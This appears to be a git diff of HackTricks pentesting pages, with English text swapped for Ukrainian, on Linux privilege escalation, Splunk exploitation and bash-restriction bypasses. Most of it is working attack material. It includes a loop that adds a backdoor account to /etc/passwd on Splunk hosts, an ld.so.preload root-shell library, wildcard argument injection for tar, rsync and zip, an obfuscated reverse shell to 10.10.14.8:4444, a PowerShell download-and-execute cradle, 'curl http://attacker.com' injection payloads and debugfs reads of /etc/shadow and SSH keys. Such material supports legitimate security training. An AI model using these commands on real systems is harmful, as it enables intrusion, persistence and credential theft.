- Повна компрометація мережі з правами SYSTEM/root на кожному хості.
- Потенціал для відключення журналювання, щоб уникнути виявлення.
- Встановлення бекдорів або програм-вимагачів.
**Приклад команди для експлуатації:**
```bash
for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done
```
**Usable public exploits:**
**Використовувані публічні експлойти:**
- https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
- https://www.exploit-db.com/exploits/46238
- https://www.exploit-db.com/exploits/46487
## Abusing Splunk Queries
## Зловживання запитами Splunk
**For further details check the post [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)**
**Для отримання додаткової інформації перегляньте пост [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)**
{{#include ../../banners/hacktricks-training.md}}

24
src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md
View File

@ -1,30 +1,26 @@
{{#include ../../banners/hacktricks-training.md}}
# Summary
What can you do if you discover inside the `/etc/ssh_config` or inside `$HOME/.ssh/config` configuration this:
# Резюме
Що ви можете зробити, якщо ви виявите в `/etc/ssh_config` або в `$HOME/.ssh/config` таку конфігурацію:
```
ForwardAgent yes
```
Якщо ви є root на машині, ви, напевно, можете **доступитися до будь-якого ssh-з'єднання, зробленого будь-яким агентом**, яке ви можете знайти в _/tmp_ каталозі.
If you are root inside the machine you can probably **access any ssh connection made by any agent** that you can find in the _/tmp_ directory
Impersonate Bob using one of Bob's ssh-agent:
Видати себе за Боба, використовуючи одного з ssh-агентів Боба:
```bash
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
```
## Чому це працює?
## Why does this work?
Коли ви встановлюєте змінну `SSH_AUTH_SOCK`, ви отримуєте доступ до ключів Боба, які використовувалися в ssh-з'єднанні Боба. Тоді, якщо його приватний ключ все ще там (зазвичай він буде), ви зможете отримати доступ до будь-якого хоста, використовуючи його.
When you set the variable `SSH_AUTH_SOCK` you are accessing the keys of Bob that have been used in Bobs ssh connection. Then, if his private key is still there (normally it will be), you will be able to access any host using it.
Оскільки приватний ключ зберігається в пам'яті агента у незашифрованому вигляді, я припускаю, що якщо ви Боб, але не знаєте пароля приватного ключа, ви все ще можете отримати доступ до агента і використовувати його.
As the private key is saved in the memory of the agent uncrypted, I suppose that if you are Bob but you don't know the password of the private key, you can still access the agent and use it.
Ще один варіант полягає в тому, що користувач, який є власником агента, і root можуть отримати доступ до пам'яті агента і витягти приватний ключ.
Another option, is that the user owner of the agent and root may be able to access the memory of the agent and extract the private key.
# Довге пояснення та експлуатація
# Long explanation and exploitation
**Check the [original research here](https://www.clockwork.com/insights/ssh-agent-hijacking/)**
**Перевірте [оригінальне дослідження тут](https://www.clockwork.com/insights/ssh-agent-hijacking/)**
{{#include ../../banners/hacktricks-training.md}}

44
src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md
View File

@ -2,71 +2,59 @@
## chown, chmod
You can **indicate which file owner and permissions you want to copy for the rest of the files**
Ви можете **вказати, якого власника файлу та дозволи ви хочете скопіювати для решти файлів**
```bash
touch "--reference=/my/own/path/filename"
```
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(combined attack)_\
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
Ви можете експлуатувати це, використовуючи [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(комбінована атака)_\
Більше інформації в [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
## Tar
**Execute arbitrary commands:**
**Виконати довільні команди:**
```bash
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"
```
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar attack)_\
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
Ви можете експлуатувати це, використовуючи [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(атака tar)_\
Більше інформації в [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
## Rsync
**Execute arbitrary commands:**
**Виконати довільні команди:**
```bash
Interesting rsync option from manual:
-e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
-e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
```
```bash
touch "-e sh shell.sh"
```
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_\
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
Ви можете експлуатувати це, використовуючи [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_атака)_\
Більше інформації в [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
## 7z
In **7z** even using `--` before `*` (note that `--` means that the following input cannot treated as parameters, so just file paths in this case) you can cause an arbitrary error to read a file, so if a command like the following one is being executed by root:
У **7z** навіть використовуючи `--` перед `*` (зауважте, що `--` означає, що наступний ввід не може бути розглянутий як параметри, тому в цьому випадку лише шляхи до файлів) ви можете викликати довільну помилку для читання файлу, тому якщо команда, подібна до наступної, виконується root:
```bash
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
```
And you can create files in the folder were this is being executed, you could create the file `@root.txt` and the file `root.txt` being a **symlink** to the file you want to read:
І ви можете створювати файли в папці, де це виконується, ви можете створити файл `@root.txt` і файл `root.txt`, який є **symlink** на файл, який ви хочете прочитати:
```bash
cd /path/to/7z/acting/folder
touch @root.txt
ln -s /file/you/want/to/read root.txt
```
Тоді, коли **7z** виконується, він буде розглядати `root.txt` як файл, що містить список файлів, які він повинен стиснути (саме це вказує на наявність `@root.txt`), і коли 7z читає `root.txt`, він прочитає `/file/you/want/to/read`, і **оскільки вміст цього файлу не є списком файлів, він видасть помилку**, показуючи вміст.
Then, when **7z** is execute, it will treat `root.txt` as a file containing the list of files it should compress (thats what the existence of `@root.txt` indicates) and when it 7z read `root.txt` it will read `/file/you/want/to/read` and **as the content of this file isn't a list of files, it will throw and error** showing the content.
_More info in Write-ups of the box CTF from HackTheBox._
_Більше інформації в Write-ups of the box CTF від HackTheBox._
## Zip
**Execute arbitrary commands:**
**Виконати довільні команди:**
```bash
zip name.zip files -T --unzip-command "sh -c whoami"
```
{{#include ../../banners/hacktricks-training.md}}

26
src/linux-hardening/privilege-escalation/write-to-root.md
View File

@ -1,40 +1,36 @@
# Arbitrary File Write to Root
# Довільне записування файлів в Root
{{#include ../../banners/hacktricks-training.md}}
### /etc/ld.so.preload
This file behaves like **`LD_PRELOAD`** env variable but it also works in **SUID binaries**.\
If you can create it or modify it, you can just add a **path to a library that will be loaded** with each executed binary.
For example: `echo "/tmp/pe.so" > /etc/ld.so.preload`
Цей файл поводиться як змінна середовища **`LD_PRELOAD`**, але також працює в **SUID бінарниках**.\
Якщо ви можете його створити або змінити, ви можете просто додати **шлях до бібліотеки, яка буде завантажена** з кожним виконуваним бінарником.
Наприклад: `echo "/tmp/pe.so" > /etc/ld.so.preload`
```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```
### Git hooks
[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) are **scripts** that are **run** on various **events** in a git repository like when a commit is created, a merge... So if a **privileged script or user** is performing this actions frequently and it's possible to **write in the `.git` folder**, this can be used to **privesc**.
For example, It's possible to **generate a script** in a git repo in **`.git/hooks`** so it's always executed when a new commit is created:
[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) це **скрипти**, які **виконуються** при різних **подіях** в репозиторії git, таких як створення коміту, злиття... Тож, якщо **привілейований скрипт або користувач** часто виконує ці дії і є можливість **записувати в папку `.git`**, це може бути використано для **privesc**.
Наприклад, можливо **згенерувати скрипт** в репозиторії git в **`.git/hooks`**, щоб він завжди виконувався при створенні нового коміту:
```bash
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit
```
### Cron & Time files
TODO
@ -45,6 +41,6 @@ TODO
### binfmt_misc
The file located in `/proc/sys/fs/binfmt_misc` indicates which binary should execute whic type of files. TODO: check the requirements to abuse this to execute a rev shell when a common file type is open.
Файл, розташований у `/proc/sys/fs/binfmt_misc`, вказує, який бінарний файл має виконувати який тип файлів. TODO: перевірте вимоги для зловживання цим, щоб виконати rev shell, коли відкрито загальний тип файлу.
{{#include ../../banners/hacktricks-training.md}}

49
src/linux-hardening/useful-linux-commands/README.md
View File

@ -1,17 +1,9 @@
# Useful Linux Commands
# Корисні команди Linux
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#include ../../banners/hacktricks-training.md}}
## Common Bash
## Загальний Bash
```bash
#Exfiltration using Base64
base64 -w 0 file
@ -130,17 +122,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
# List files inside zip
7z l file.zip
```
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Bash for Windows
## Bash для Windows
```bash
#Base64 for Windows
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
@ -160,9 +142,7 @@ python pyinstaller.py --onefile exploit.py
#sudo apt-get install gcc-mingw-w64-i686
i686-mingw32msvc-gcc -o executable useradd.c
```
## Greps
```bash
#Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
@ -242,9 +222,7 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
#Extract ISBN Numbers
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
```
## Find
## Знайти
```bash
# Find SUID set files.
find / -perm /u=s -ls 2>/dev/null
@ -273,25 +251,19 @@ find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /p
# Found Newer directory only and sort by time. (depth = 5)
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
```
## Nmap search help
## Допомога з пошуку Nmap
```bash
#Nmap scripts ((default or version) and smb))
nmap --script-help "(default or version) and *smb*"
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
nmap --script-help "(default or version) and smb)"
```
## Bash
## Баш
```bash
#All bytes inside a file (except 0x20 and 0x00)
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
```
## Iptables
```bash
#Delete curent rules and chains
iptables --flush
@ -322,13 +294,4 @@ iptables -P INPUT DROP
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
```
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

94
src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md
View File

@ -1,27 +1,16 @@
# Bypass Linux Restrictions
# Обхід обмежень Linux
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Common Limitations Bypasses
### Reverse Shell
## Обходи загальних обмежень
### Реверсна оболонка
```bash
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
```
### Short Rev shell
### Короткий Rev shell
```bash
#Trick from Dikline
#Get a rev shell with
@ -29,9 +18,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|
#Then get the out of the rev shell executing inside of it:
exec >&0
```
### Bypass Paths and forbidden words
### Обхід шляхів та заборонених слів
```bash
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
@ -86,9 +73,7 @@ mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami
```
### Bypass forbidden spaces
### Обхід заборонених пробілів
```bash
# {form}
{cat,lol.txt} # cat lol.txt
@ -121,22 +106,16 @@ g # These 4 lines will equal to ping
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
```
### Bypass backslash and slash
### Обхід зворотного слешу та слешу
```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```
### Bypass pipes
### Обхід трубок
```bash
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
```
### Bypass with hex encoding
### Обхід з використанням шістнадцяткового кодування
```bash
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
@ -146,36 +125,28 @@ cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
```
### Bypass IPs
### Обхід IP-адрес
```bash
# Decimal IPs
127.0.0.1 == 2130706433
```
### Time based data exfiltration
### Витік даних на основі часу
```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```
### Getting chars from Env Variables
### Отримання символів з змінних середовища
```bash
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
```
### DNS data exfiltration
You could use **burpcollab** or [**pingb**](http://pingb.in) for example.
Ви можете використовувати **burpcollab** або [**pingb**](http://pingb.in) наприклад.
### Builtins
In case you cannot execute external functions and only have access to a **limited set of builtins to obtain RCE**, there are some handy tricks to do it. Usually you **won't be able to use all** of the **builtins**, so you should **know all your options** to try to bypass the jail. Idea from [**devploit**](https://twitter.com/devploit).\
First of all check all the [**shell builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Then here you have some **recommendations**:
У випадку, якщо ви не можете виконувати зовнішні функції і маєте доступ лише до **обмеженого набору вбудованих команд для отримання RCE**, є кілька корисних трюків, щоб це зробити. Зазвичай ви **не зможете використовувати всі** **вбудовані команди**, тому вам слід **знати всі ваші варіанти**, щоб спробувати обійти в'язницю. Ідея з [**devploit**](https://twitter.com/devploit).\
По-перше, перевірте всі [**вбудовані команди оболонки**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Потім тут у вас є кілька **рекомендацій**:
```bash
# Get list of builtins
declare builtins
@ -227,30 +198,22 @@ chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!
```
### Polyglot command injection
### Поліглотна ін'єкція команд
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
### Bypass potential regexes
### Обхід потенційних regex-ів
```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
```
### Bashfuscator
```bash
# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'
```
### RCE with 5 chars
### RCE з 5 символів
```bash
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution
@ -297,9 +260,7 @@ ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder
```
### RCE with 4 chars
### RCE з 4 символів
```bash
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
@ -334,34 +295,25 @@ ln /f*
'sh x'
'sh g'
```
## Обхід обмежень Read-Only/Noexec/Distroless
## Read-Only/Noexec/Distroless Bypass
If you are inside a filesystem with the **read-only and noexec protections** or even in a distroless container, there are still ways to **execute arbitrary binaries, even a shell!:**
Якщо ви знаходитесь у файловій системі з **захистами read-only та noexec** або навіть у контейнері без дистрибутива, все ще існують способи **виконати довільні бінарні файли, навіть оболонку!:**
{{#ref}}
../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/
{{#endref}}
## Chroot & other Jails Bypass
## Обхід Chroot та інших в'язниць
{{#ref}}
../privilege-escalation/escaping-from-limited-bash.md
{{#endref}}
## References & More
## Посилання та більше
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#include ../../banners/hacktricks-training.md}}

20
src/linux-unix/privilege-escalation/exploiting-yum.md
View File

@ -1,25 +1,23 @@
{{#include ../../banners/hacktricks-training.md}}
Further examples around yum can also be found on [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
Додаткові приклади щодо yum також можна знайти на [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
# Executing arbitrary commands via RPM Packages
# Виконання довільних команд через RPM пакети
## Checking the Environment
## Перевірка середовища
In order to leverage this vector the user must be able to execute yum commands as a higher privileged user, i.e. root.
Щоб скористатися цим вектором, користувач повинен мати можливість виконувати команди yum як користувач з вищими привілеями, тобто root.
### A working example of this vector
### Робочий приклад цього вектора
A working example of this exploit can be found in the [daily bugle](https://tryhackme.com/room/dailybugle) room on [tryhackme](https://tryhackme.com).
Робочий приклад цього експлойту можна знайти в кімнаті [daily bugle](https://tryhackme.com/room/dailybugle) на [tryhackme](https://tryhackme.com).
## Packing an RPM
## Упаковка RPM
In the following section, I will cover packaging a reverse shell into an RPM using [fpm](https://github.com/jordansissel/fpm).
The example below creates a package that includes a before-install trigger with an arbitrary script that can be defined by the attacker. When installed, this package will execute the arbitrary command. I've used a simple reverse netcat shell example for demonstration but this can be changed as necessary.
У наступному розділі я розгляну упаковку реверс-шелу в RPM за допомогою [fpm](https://github.com/jordansissel/fpm).
Приклад нижче створює пакет, який включає тригер перед установкою з довільним скриптом, який може бути визначений атакуючим. Після установки цей пакет виконає довільну команду. Я використав простий приклад реверс-неткат-шелу для демонстрації, але це можна змінити за необхідності.
```text
```
{{#include ../../banners/hacktricks-training.md}}

101
src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md
View File

@ -1,18 +1,11 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
# Sudo/Admin Groups
## **PE - Method 1**
**Sometimes**, **by default \(or because some software needs it\)** inside the **/etc/sudoers** file you can find some of these lines:
**Іноді**, **за замовчуванням \(або через те, що деяке програмне забезпечення цього потребує\)** всередині файлу **/etc/sudoers** ви можете знайти деякі з цих рядків:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
@ -20,48 +13,35 @@ Get Access Today:
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
```
Це означає, що **будь-який користувач, який належить до групи sudo або admin, може виконувати будь-що як sudo**.
This means that **any user that belongs to the group sudo or admin can execute anything as sudo**.
If this is the case, to **become root you can just execute**:
Якщо це так, щоб **стати root, ви можете просто виконати**:
```text
sudo su
```
## PE - Метод 2
## PE - Method 2
Find all suid binaries and check if there is the binary **Pkexec**:
Знайдіть всі suid бінарні файли та перевірте, чи є бінарний файл **Pkexec**:
```bash
find / -perm -4000 2>/dev/null
```
If you find that the binary pkexec is a SUID binary and you belong to sudo or admin, you could probably execute binaries as sudo using pkexec.
Check the contents of:
Якщо ви виявите, що двійковий файл pkexec є SUID двійковим файлом і ви належите до sudo або admin, ви, ймовірно, зможете виконувати двійкові файли як sudo, використовуючи pkexec. Перевірте вміст:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
Там ви знайдете, які групи мають право виконувати **pkexec** і **за замовчуванням** в деяких linux можуть **з'явитися** деякі з груп **sudo або admin**.
There you will find which groups are allowed to execute **pkexec** and **by default** in some linux can **appear** some of the groups **sudo or admin**.
To **become root you can execute**:
Щоб **стати root, ви можете виконати**:
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
If you try to execute **pkexec** and you get this **error**:
Якщо ви намагаєтеся виконати **pkexec** і отримуєте цю **помилку**:
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**:
**Це не тому, що у вас немає дозволів, а тому, що ви не підключені без GUI**. І є обхід цього питання тут: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Вам потрібно **2 різні ssh сесії**:
```bash:session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
@ -72,39 +52,31 @@ pkexec "/bin/bash" #Step 3, execute pkexec
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
```
# Wheel Group
**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line:
**Іноді**, **за замовчуванням** у файлі **/etc/sudoers** ви можете знайти цей рядок:
```text
%wheel ALL=(ALL:ALL) ALL
```
Це означає, що **будь-який користувач, який належить до групи wheel, може виконувати будь-що як sudo**.
This means that **any user that belongs to the group wheel can execute anything as sudo**.
If this is the case, to **become root you can just execute**:
Якщо це так, щоб **стати root, ви можете просто виконати**:
```text
sudo su
```
# Shadow Group
Users from the **group shadow** can **read** the **/etc/shadow** file:
Користувачі з **групи shadow** можуть **читати** файл **/etc/shadow**:
```text
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
Отже, прочитайте файл і спробуйте **зламати деякі хеші**.
So, read the file and try to **crack some hashes**.
# Дискова група
# Disk Group
This privilege is almost **equivalent to root access** as you can access all the data inside of the machine.
Files:`/dev/sd[a-z][1-9]`
Ця привілегія майже **еквівалентна доступу root**, оскільки ви можете отримати доступ до всіх даних всередині машини.
Файли:`/dev/sd[a-z][1-9]`
```text
debugfs /dev/sda1
debugfs: cd /root
@ -112,56 +84,47 @@ debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do:
Зверніть увагу, що використовуючи debugfs, ви також можете **записувати файли**. Наприклад, щоб скопіювати `/tmp/asd1.txt` до `/tmp/asd2.txt`, ви можете зробити:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
However, if you try to **write files owned by root** \(like `/etc/shadow` or `/etc/passwd`\) you will have a "**Permission denied**" error.
Однак, якщо ви спробуєте **записати файли, що належать root** \(наприклад, `/etc/shadow` або `/etc/passwd`\), ви отримаєте помилку "**Доступ заборонено**".
# Video Group
Using the command `w` you can find **who is logged on the system** and it will show an output like the following one:
Використовуючи команду `w`, ви можете дізнатися, **хто увійшов в систему**, і вона покаже вихід, подібний до наступного:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
**tty1** означає, що користувач **yossi фізично увійшов** до терміналу на машині.
The **tty1** means that the user **yossi is logged physically** to a terminal on the machine.
The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size`
**Група video** має доступ до перегляду виходу екрану. В основному, ви можете спостерігати за екранами. Щоб це зробити, вам потрібно **захопити поточне зображення на екрані** в сирих даних і отримати роздільну здатність, яку використовує екран. Дані екрану можна зберегти в `/dev/fb0`, а роздільну здатність цього екрану можна знайти в `/sys/class/graphics/fb0/virtual_size`
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
To **open** the **raw image** you can use **GIMP**, select the **`screen.raw`** file and select as file type **Raw image data**:
Щоб **відкрити** **сирий образ**, ви можете використовувати **GIMP**, вибрати файл **`screen.raw`** і вибрати тип файлу **Сирі дані зображення**:
![](../../images/image%20%28208%29.png)
Then modify the Width and Height to the ones used on the screen and check different Image Types \(and select the one that shows better the screen\):
Потім змініть Ширину та Висоту на ті, що використовуються на екрані, і перевірте різні Типи зображень \(і виберіть той, який краще відображає екран\):
![](../../images/image%20%28295%29.png)
# Root Group
# Група Root
It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges...
**Check which files root members can modify**:
Схоже, що за замовчуванням **учасники групи root** можуть мати доступ до **модифікації** деяких **конфігураційних файлів** сервісів або деяких файлів **бібліотек** або **інших цікавих речей**, які можуть бути використані для ескалації привілеїв...
**Перевірте, які файли можуть модифікувати учасники root**:
```bash
find / -group root -perm -g=w 2>/dev/null
```
# Docker Group
You can mount the root filesystem of the host machine to an instance’s volume, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine.
Ви можете змонтувати кореневу файлову систему хост-машини до обсягу екземпляра, тому, коли екземпляр запускається, він негайно завантажує `chroot` у цей обсяг. Це ефективно надає вам root на машині.
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
@ -171,11 +134,5 @@ You can mount the root filesystem of the host machine to an instance’s volume,
[lxc - Privilege Escalation](lxd-privilege-escalation.md)
